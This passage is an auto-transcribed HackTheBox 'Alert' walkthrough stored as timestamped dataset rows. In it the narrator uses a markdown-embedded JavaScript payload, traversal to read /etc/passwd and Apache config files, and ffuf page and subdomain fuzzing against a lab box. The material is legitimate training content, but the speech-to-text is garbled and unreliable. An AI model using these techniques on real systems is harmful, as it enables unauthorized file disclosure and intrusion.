"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
typer or something if we send it to ourselves we have um the debugging so response is not defined in P.J line 3 B pone go3 because I have a typo there refresh awesome so we see 101 148 gone. JS and then we have data here this is the HTML of alert. htb right so let's go ahead and um send it again so we're sending the co... | 1,027.039 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
equal to and then it does like donate right and that loads the Donate page so my first thought is maybe it's doing donate. PHP so if we try this is this going to be a uh file it is not maybe there's another directory pages so we probably should start up some type of dur Buster on this to figure out exactly how the page... | 1,111.08 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
let's just see one last thing I'm sorry for jumping all over but if we had set up like a w fuff what happens if we do Pages equal to messages here we don't get a does not exist messages a page not found messages nothing so if you had set up a FFF so normally when doing like a um test I would copy this to a file um let'... | 1,169.44 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
request okay that's saved let's do this quick uh FFF D request page. request request Proto it equals to spaces I think space is fine um word list let's do op secc list Discovery web content raft small words. | 1,207.28 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
text and let's see something did not like it get that oh V page. request let's change messages over to buzz there we go awesome let's now filter out let's say uh filter size 690 we get about let's see if we get anything else messages so that's how you could also find Pages equal to messages so um you could either do it... | 1,232.84 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
again I think this link is only valid for a certain amount of time so every now and then I think you just have to update it we're just testing this real quick or maybe we broke p. JS when we edited it both are possibilities uh we got the second p. JS and it's directing us to messages PHP and this is another place where... | 1,332.44 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
htb uploads we get forbidden but that's going to be where all the markdown files are and we can see uh there is a messages directory and messages. PHP as well so again you could find all this information out multiple ways we're finding out through like the cross- site request forgery but if you have a good Recon thing ... | 1,391.4 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
try um let's see let's go edit this paste and we'll do a bunch of dot dot slashes ety pass WD that sounds good go back here let's send the contact us form again and we get past WD now what I'm thinking is do I have a um lfi vulnerability an inclusion vulnerability or just disclosure right I'm probably in the uploads di... | 1,452.36 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
switch statement and oddly enough um at the top when it's generating all the links if it's coming from Local Host it is giving us this message thing so um there is no like cookie to steal so HTTP only wasn't set but that's only because there is no cookie to begin with I think that means also we could probably skip the ... | 1,522.559 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
nothing of interest to us um the other thing we had was this whole link share thing um let's see how this is doing it because maybe there's an include statement there so I'm going to look at the source code for visualizer PHP so we can paste this get rid of that extra PHP check this out uh does not look like I got anyt... | 1,588.44 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
execute uh pars down. PHP so we could pull this file as well look see if there's any vulnerabilities here maybe there's a rce in this PHP but I'm not going to do that um I'm pretty confident there isn't but if you wanted to something to take a look at you could probably Google like PHP uh GitHub pars down. PHP and get ... | 1,659.24 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
diligent and did all a Recon let's try um a virtual host enumeration so we can do f-u HTP alert. htb word list op secc list Discovery DNS subdomains top uh let's do 5,000 uh let's see the host header is going to be host um buzz alert htb let's filter code 30 301 and see if we get statistics chances are we will I believ... | 1,723.88 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
inclusion vulnerability right so we could go where we think this file exist so normally it's ver dubdub duub and then it's either going to be probably statistics man I cannot spell statistics today let's just put that um it's either going to be the fully qualified name or just statistics right so we can just try the fu... | 1,802.559 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
enabled 00- default. comom and you can play with a bunch of file names right but we're going to try the default Apache send that I don't think it worked let's see did not screw up the HTML let's just go and generate MD again I'm going to put SL body in my search and then we just autoc scroll to this so this just makes ... | 1,867.2 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.